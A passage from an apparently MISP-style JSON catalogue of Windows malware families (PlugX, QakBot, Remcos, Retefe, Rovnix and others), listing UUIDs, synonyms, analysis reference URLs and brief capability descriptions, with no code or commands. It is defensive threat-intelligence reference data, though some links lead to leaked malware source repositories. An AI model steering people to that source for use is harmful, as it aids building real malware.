"uuid": "d91c4184-608e-47b1-b746-0e98587e2455",
"value": "Ploutus ATM",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ployx",
"https://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html",
"https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Ployx-A/detailed-analysis.aspx"
]
},
"uuid": "7bad2f44-93b0-406d-a619-28f14c4bd344",
"value": "ployx",
"description": ""
},
{
"meta": {
"synonyms": [
"Korplug"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx",
"https://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
"https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf",
"http://blog.airbuscybersecurity.com/post/2014/01/plugx-some-uncovered-points.html",
"http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html",
"http://blog.jpcert.or.jp/2017/02/plugx-poison-iv-919a.html",
"http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html",
"https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf",
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
"https://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/plugx-thenextgeneration.pdf",
"https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/",
"https://countuponsecurity.com/2018/02/04/malware-analysis-plugx/",
"https://countuponsecurity.com/2018/05/09/malware-analysis-plugx-part-2/",
"https://www.lac.co.jp/lacwatch/people/20171218_001445.html",
"https://blog.malwarebytes.com/threat-analysis/2016/08/unpacking-the-spyware-disguised-as-antivirus/",
"https://securelist.com/time-of-death-connected-medicine/84315/",
"https://community.rsa.com/thread/185439"
]
},
"uuid": "036bd099-fe80-46c2-9c4c-e5c6df8dcdee",
"value": "PlugX",
"description": "RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim's machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.\r\n\r\nNotable features of this malware family are the ability to execute commands on the affected machine to retrieve:\r\nmachine information\r\ncapture the screen\r\nsend keyboard and mouse events\r\nkeylogging\r\nreboot the system\r\nmanage processes (create, kill and enumerate)\r\nmanage services (create, start, stop, etc.); and\r\nmanage Windows registry entries, open a shell, etc.\r\n\r\nThe malware also logs its events in a text log file."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner",
"https://www.iocbucket.com/iocs/7f7999ab7f223409ea9ea10cff82b064ce2a1a31"
]
},
"uuid": "fb4313ea-1fb6-4766-8b5c-b41fd347e4c5",
"value": "pngdowner",
"description": ""
},
{
"meta": {
"synonyms": [
"pivy",
"poisonivy"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy",
"https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/analysing-a-recent-poison-ivy-sample/",
"https://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/",
"http://blog.fortinet.com/2017/08/23/deep-analysis-of-new-poison-ivy-variant",
"https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html",
"https://blog.fortinet.com/2017/09/15/deep-analysis-of-new-poison-ivy-plugx-variant-part-ii",
"https://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/",
"https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2016/2016.04.26.New_Poison_Ivy_Activity_Targeting_Myanmar_Asian_Countries/New%20Poison%20Ivy%20Activity%20Targeting%20Myanmar%2C%20Asian%20Countries.pdf",
"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
]
},
"uuid": "7789fc1b-3cbc-4a1c-8ef0-8b06760f93e7",
"value": "Poison Ivy",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglot_ransom",
"https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/"
]
},
"uuid": "5ee77368-5e09-4016-ae73-82b99e830832",
"value": "Polyglot",
"description": ""
},
{
"meta": {
"synonyms": [
"Siplog",
"Fareit"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pony",
"https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf",
"https://www.uperesia.com/analysis-of-a-packed-pony-downloader",
"https://github.com/nyx0/Pony"
]
},
"uuid": "cd201689-4bf1-4c5b-ac4d-21c4dcc39e7d",
"value": "Pony",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
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"https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/",
"http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"
]
},
"uuid": "54327cbd-d30c-4684-9a66-18ae36b28399",
"value": "PoohMilk Loader",
"description": ""
},
{
"meta": {
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"refs": [
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]
},
"uuid": "4ceebc38-f50b-4817-930f-c954d203ff7b",
"value": "Popcorn Time",
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},
{
"meta": {
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]
},
"uuid": "b813cb80-28ff-4713-abdc-e9a22d397bb4",
"value": "portless",
"description": ""
},
{
"meta": {
"synonyms": [],
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer",
"http://pages.arbornetworks.com/rs/arbor/images/ASERT%20Threat%20Intelligence%20Brief%202014-06%20Uncovering%20PoS%20Malware%20and%20Attack%20Campaigns.pdf"
]
},
"uuid": "5fa166d1-128b-4057-87e3-6676b7d9a7d7",
"value": "poscardstealer",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
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"https://www.zscaler.com/blogs/research/malvertising-targeting-european-transit-users"
]
},
"uuid": "782bee33-9f8d-41df-a608-c014bd6a7de1",
"value": "Poweliks Dropper",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke",
"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
]
},
"uuid": "c79f5876-e3b9-417a-8eaf-8f1b01a0fecd",
"value": "PowerDuke",
"description": ""
},
{
"meta": {
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"refs": [
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"https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/"
]
},
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},
{
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"refs": [
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]
},
"uuid": "519d07f5-bea3-4360-8aa5-f9fcdb79cb52",
"value": "Powersniff",
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},
{
"meta": {
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"refs": [
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"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/",
"https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf"
]
},
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},
{
"meta": {
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"refs": [
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]
},
"uuid": "2c9c42bc-8f26-4122-9454-a7eed8cd8886",
"value": "prb_backdoor",
"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka",
"https://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
]
},
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"value": "Prikorma",
"description": ""
},
{
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.prilex",
"https://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/",
"https://www.kaspersky.com/blog/chip-n-pin-cloning/21502"
]
},
"uuid": "a0899fec-161d-4ba8-9594-8b5620c21705",
"value": "Prilex",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.princess_locker",
"https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/",
"https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/",
"https://www.bleepingcomputer.com/news/security/introducing-her-royal-highness-the-princess-locker-ransomware/"
]
},
"uuid": "0714a7ad-45cb-44ec-92f9-2e839fd8a6b8",
"value": "PrincessLocker",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.psix",
"https://twitter.com/mesa_matt/status/1035211747957923840"
]
},
"uuid": "416ae41e-17b2-46f6-847b-2831a0b3f8e9",
"value": "PsiX",
"description": "According to Matthew Mesa, this is a modular bot. The name stems from the string PsiXMainModule in binaries until mid of September 2018.\r\n\r\nIn binaries, apart from BotModule and MainModule, references to the following Modules have be observed:\r\nBrowserModule\r\nBTCModule\r\nComplexModule\r\nKeyLoggerModule\r\nOutlookModule\r\nProcessModule\r\nRansomwareModule\r\nSkypeModule"
},
{
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"PSS"
],
"type": [],
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.pss",
"https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/"
]
},
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"value": "PC Surveillance System",
"description": "Citizenlab notes that PC Surveillance System (PSS) is a commercial spyware product offered by Cyberbit and marketed to intelligence and law enforcement agencies."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon",
"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
]
},
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"value": "Pteranodon",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pubnubrat",
"http://blog.alyac.co.kr/1853",
"https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html"
]
},
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"value": "PubNubRAT",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/New-POS-Malware-Emerges---Punkey/",
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]
},
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"value": "Punkey POS",
"description": ""
},
{
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pupy",
"https://github.com/n1nj4sec/pupy",
"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/",
"https://blog.cyber4sight.com/2017/02/malicious-powershell-script-analysis-indicates-shamoon-actors-used-pupy-rat/",
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]
},
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"value": "pupy",
"description": ""
},
{
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo",
"https://www.secureworks.com/research/pushdo",
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]
},
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"value": "Pushdo",
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},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.putabmow"
]
},
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"value": "Putabmow",
"description": ""
},
{
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
]
},
"uuid": "52932caa-2fac-4eeb-88de-b3e143db010e",
"value": "PvzOut",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
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"https://blog.trendmicro.com/trendlabs-security-intelligence/pwnpos-old-undetected-pos-malware-still-causing-havoc/",
"https://www.brimorlabsblog.com/2015/03/and-you-get-pos-malware-nameand-you-get.html",
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]
},
"uuid": "c903627c-90f6-44ee-9750-4bb44bdbceab",
"value": "pwnpos",
"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa",
"https://www.johannesbader.ch/2015/03/the-dga-of-pykspa/",
"https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/",
"https://www.youtube.com/watch?v=HfSQlC76_s4"
]
},
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"value": "Pykspa",
"description": ""
},
{
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],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pylocky",
"https://sensorstechforum.com/lockymap-files-virus-pylocky-ransomware-remove-restore-data/",
"https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-008/",
"https://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-locky-poser-pylocky-ransomware/"
]
},
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"description": "PyLocky is a ransomware that tries to pass off as Locky in its ransom note. It is written in Python and packaged with PyInstaller."
},
{
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"refs": [
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]
},
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},
{
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"https://securityintelligence.com/meanwhile-britain-qadars-v3-hardens-evasion-targets-18-uk-banks/",
"https://www.welivesecurity.com/2013/12/18/qadars-a-banking-trojan-with-the-netherlands-in-its-sights/",
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]
},
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"value": "Qadars",
"description": ""
},
{
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"Pinkslipbot"
],
"type": [],
"refs": [
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"https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/",
"https://www.cylance.com/en_us/blog/threat-spotlight-the-return-of-qakbot-malware.html",
"https://media.scmagazine.com/documents/225/bae_qbot_report_56053.pdf",
"https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/",
"https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Karve-etal.pdf",
"http://contagiodump.blogspot.com/2010/11/template.html",
"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_qakbot_in_detail.pdf",
"https://www.vkremez.com/2018/07/lets-learn-in-depth-reversing-of-qakbot.html"
]
},
"uuid": "2ccaccd0-8362-4224-8497-2012e7cc7549",
"value": "QakBot",
"description": ""
},
{
"meta": {
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"Tolouge"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost"
]
},
"uuid": "28f35535-dd40-4ee2-8064-5acbe76d8d4c",
"value": "QHost",
"description": ""
},
{
"meta": {
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],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.qtbot",
"https://researchcenter.paloaltonetworks.com/2017/11/unit42-everybody-gets-one-qtbot-used-distribute-trickbot-locky/"
]
},
"uuid": "e8240391-3e3d-4894-ba80-f8e8de8a8222",
"value": "QtBot",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
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"https://malwarebreakdown.com/2017/10/10/malvertising-campaign-uses-rig-ek-to-drop-quant-loader-which-downloads-formbook/",
"https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/",
"https://blog.malwarebytes.com/threat-analysis/2018/03/an-in-depth-malware-analysis-of-quantloader/",
"https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat",
"https://blogs.forcepoint.com/security-labs/locky-distributor-uses-newly-released-quant-loader-sold-russian-underground"
]
},
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"value": "Quant Loader",
"description": ""
},
{
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"refs": [
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"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/",
"https://github.com/quasar/QuasarRAT/tree/master/Client",
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf?platform=hootsuite",
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"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
"https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/",
"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
]
},
"uuid": "05252643-093b-4070-b62f-d5836683a9fa",
"value": "Quasar RAT",
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},
{
"meta": {
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"type": [],
"refs": [
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"https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/"
]
},
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},
{
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]
},
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"value": "Radamant",
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},
{
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"https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/"
]
},
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},
{
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],
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"refs": [
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"https://www.morphick.com/resources/news/deep-dive-dragonok-rambo-backdoor"
]
},
"uuid": "805b99d1-233d-4f7f-b343-440e5d507494",
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},
{
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"refs": [
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]
},
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},
{
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],
"type": [],
"refs": [
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"https://malwarebreakdown.com/2017/08/23/the-seamless-campaign-isnt-losing-any-steam/",
"https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/",
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"http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html",
"http://contagiodump.blogspot.com/2012/01/blackhole-ramnit-samples-and-analysis.html",
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]
},
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},
{
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]
},
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},
{
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},
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},
{
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},
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},
{
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]
},
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},
{
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"refs": [
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},
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},
{
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]
},
"uuid": "bc1fc21d-80c0-4629-bb18-d5ae1df2a431",
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},
{
"meta": {
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"type": [],
"refs": [
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]
},
"uuid": "e0a1407f-2595-4bd2-ba16-2c6d9be4e066",
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},
{
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]
},
"uuid": "15b85bac-c58b-41fd-8332-cfac7c445e0d",
"value": "RatabankaPOS",
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},
{
"meta": {
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"refs": [
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"http://blog.trendmicro.com/trendlabs-security-intelligence/rawpos-new-behavior-risks-identity-theft/?platform=hootsuite"
]
},
"uuid": "80f87001-ff40-4e33-bd12-12ed1a92d1d7",
"value": "RawPOS",
"description": ""
},
{
"meta": {
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],
"type": [],
"refs": [
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"https://www.f-secure.com/documents/996508/1030745/callisto-group",
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]
},
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},
{
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]
},
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},
{
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]
},
"uuid": "9d58d94f-6885-4a38-b086-b9978ac62c1f",
"value": "ReactorBot",
"description": "Please note: ReactorBot in its naming is often mistakenly labeled as Rovnix. ReactorBot is a full blown bot with modules, whereas Rovnix is just a bootkit / driver component (originating from Carberp), occasionally delivered alongside ReactorBot."
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver",
"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
]
},
"uuid": "826c31ca-2617-47e4-b236-205da3881182",
"value": "Reaver",
"description": "Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrcal malware and the same C2 infrastructure used by threat actors who primarily target based on the \"Five Poisons\" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government."
},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha",
"https://www.recordedfuture.com/redalpha-cyber-campaigns/"
]
},
"uuid": "6be9eee4-ee99-4ad6-bee3-2365d7b37a88",
"value": "RedAlpha",
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},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves",
"http://blog.macnica.net/blog/2017/12/post-8c22.html",
"https://www.accenture.com/t20180423T055005Z__w__/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf",
"http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html",
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
"https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Red%20Leaves",
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]
},
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},
{
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]
},
"uuid": "cd5f5165-7bd3-4430-b0bc-2c8fa518f618",
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},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler",
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]
},
"uuid": "ca8ed7c0-f40b-4c0e-9dc4-52d6e0da41a7",
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},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.regeorg",
"https://sensepost.com/discover/tools/reGeorg/",
"https://github.com/sensepost/reGeorg"
]
},
"uuid": "9ee0eb87-7648-4581-b301-7472a48946ad",
"value": "reGeorg",
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},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.regin",
"https://www.youtube.com/watch?v=jeLd-gw2bWo"
]
},
"uuid": "4cbe9373-6b5e-42d0-9750-e0b7fc0d58bb",
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},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos",
"https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html",
"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/",
"http://malware-traffic-analysis.net/2017/12/22/index.html",
"https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2",
"https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/",
"https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/",
"https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/",
"https://secrary.com/ReversingMalware/RemcosRAT/"
]
},
"uuid": "2894aee2-e0ec-417a-811e-74a68ab967b2",
"value": "Remcos",
"description": ""
},
{
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi",
"http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf",
"https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions"
]
},
"uuid": "d39486af-c056-4bbf-aa1d-86fb5ef90ada",
"value": "Remexi",
"description": ""
},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider",
"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
]
},
"uuid": "6a3c3fbc-97ec-4938-b64e-2679e4b73db9",
"value": "Remsec",
"description": ""
},
{
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]
},
"uuid": "b2b93651-cf64-47f5-a54f-799b919c592c",
"value": "Remy",
"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom",
"https://www.coresecurity.com/sites/default/files/resources/2017/03/Behind_Malware_Infection_Chain.pdf"
]
},
"uuid": "a1f137d4-298f-4761-935d-bd39ab898479",
"value": "Rerdom",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.retadup",
"http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/"
]
},
"uuid": "42fa55e3-e708-4c11-b807-f31573639941",
"value": "Retadup",
"description": ""
},
{
"meta": {
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"Werdlod"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe",
"https://www.govcert.admin.ch/blog/33/the-retefe-saga",
"https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/",
"https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/",
"https://github.com/cocaman/retefe"
]
},
"uuid": "22ef1e56-7778-41d1-9b2b-737aa5bf9777",
"value": "Retefe",
"description": "Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. It's primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to effectively MITM TLS traffic."
},
{
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"Revetrat"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat",
"http://blog.deniable.org/blog/2016/08/26/lurking-around-revenge-rat/",
"https://isc.sans.edu/diary/rss/22590",
"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
]
},
"uuid": "75b1e86f-fcc1-49a7-9b4e-7cd93e91b23f",
"value": "Revenge RAT",
"description": ""
},
{
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor",
"https://researchcenter.paloaltonetworks.com/2017/09/unit42-striking-oil-closer-look-adversary-infrastructure/",
"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
]
},
"uuid": "daddd1dc-c415-4970-89ee-526ee8de2ec1",
"value": "RGDoor",
"description": ""
},
{
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu",
"https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets"
]
},
"uuid": "6703e8ce-2c5e-4a9d-96b4-49e90074b043",
"value": "Rikamanu",
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},
{
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]
},
"uuid": "383021b9-fcf9-4c21-a0e2-d75fb8c0727a",
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},
{
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"http://blog.trendmicro.com/trendlabs-security-intelligence/untangling-ripper-atm-malware/"
]
},
"uuid": "a85b0619-ed8e-4324-8603-af211d682dac",
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},
{
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],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.rock",
"https://github.com/securitykitten/malware_references/blob/master/rmshixdAPT-C-15-20160630.pdf"
]
},
"uuid": "95a26977-295f-4843-ad11-a3d9dcb6c192",
"value": "rock",
"description": ""
},
{
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader",
"https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware"
]
},
"uuid": "1482ffff-47a8-46da-8f47-d363c9d86c0e",
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},
{
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]
},
"uuid": "bd7b1628-2aeb-44c5-91e7-f02c011034cf",
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},
{
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]
},
"uuid": "38f57823-ccc2-424b-8140-8ba30325af9c",
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},
{
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"type": [],
"refs": [
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"http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf",
"http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html",
"http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
"https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/",
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]
},
"uuid": "16dcc67b-4415-4620-818d-7ca24a5ccaf5",
"value": "RokRAT",
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},
{
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],
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik",
"http://blogs.cisco.com/security/talos/rombertik"
]
},
"uuid": "ab5066b4-d5ff-4f83-9a05-6e74c043a6e1",
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},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos"
]
},
"uuid": "87a45a07-30d7-4223-ae61-6b1e6dde0f5a",
"value": "Romeo(Alfa,Bravo, ...)",
"description": ""
},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs"
]
},
"uuid": "b4a3d0ef-2d7b-4da5-8f90-8213f8f318d9",
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"description": ""
},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam",
"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
]
},
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"value": "Roseam",
"description": ""
},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.rover",
"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
]
},
"uuid": "53e94bc9-c8d2-4fb6-9c02-00841e454050",
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},
{
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"Cidox",
"BkLoader"
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix",
"https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/",
"http://www.kernelmode.info/forum/viewtopic.php?f=16&t=981",
"https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0",
"https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/",
"https://blogs.technet.microsoft.com/mmpc/2013/07/25/the-evolution-of-rovnix-private-tcpip-stacks/",
"https://blogs.technet.microsoft.com/mmpc/2014/05/04/the-evolution-of-rovnix-new-virtual-file-system-vfs/",
"http://www.malwaretech.com/2014/05/rovnix-new-evolution.html",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-RodionovMatrosov.pdf",
"http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html"
]
},
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"value": "Rovnix",
"description": "Rovnix is a bootkit and consists of a driver loader (in the VBR) and the drivers (32bit, 64bit) themselves. It is part of the Carberp source code leak (https://github.com/nyx0/Rovnix). Rovnix has been used to protect Gozi ISFB, ReactorBot and Rerdom (at least)."
},
{
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"https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/",
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},
"uuid": "92d87656-5e5b-410c-bdb6-bf028324dc72",
"value": "RoyalCli",
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},
{
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},
"uuid": "8611f656-b0d8-4d16-93f0-c699f2af9b7a",
"value": "Royal DNS",
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},
{
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},
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},
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},
{
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},
"uuid": "89ee2cb0-2c72-4a25-825b-bb56083fdd9b",
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},
{
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"refs": [
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},
"uuid": "b88b50c0-3db9-4b8f-8564-4f56f991bee2",
"value": "Ruckguv",
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},
{
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},
"uuid": "e1564cfe-ab82-4c14-8f92-65af0d760d70",
"value": "Rumish",
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},
{
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"https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
]
},
"uuid": "b746a645-5974-44db-a811-a024214b7fba",
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},
{
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},
"uuid": "512e0b13-a52b-45ef-9230-7172f5e976d4",
"value": "Rurktar",
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},
{
"meta": {
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"refs": [
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"https://www.secureworks.com/blog/research-21041",
"http://contagiodump.blogspot.com/2011/10/rustock-samples-and-analysis-links.html",
"https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html",
"http://blog.threatexpert.com/2008/05/rustockc-unpacking-nested-doll.html",
"http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/",
"http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf",
"http://www.drweb.com/upload/6c5e138f917290cb99224a8f8226354f_1210062403_DDOCUMENTSArticales_PRDrWEB_RustockC_eng.pdf",
"https://krebsonsecurity.com/2011/03/microsoft-hunting-rustock-controllers/"
]
},
"uuid": "76e98e04-0ab7-4000-80ee-7bcbcf9c110d",
"value": "Rustock",
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},
{
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],
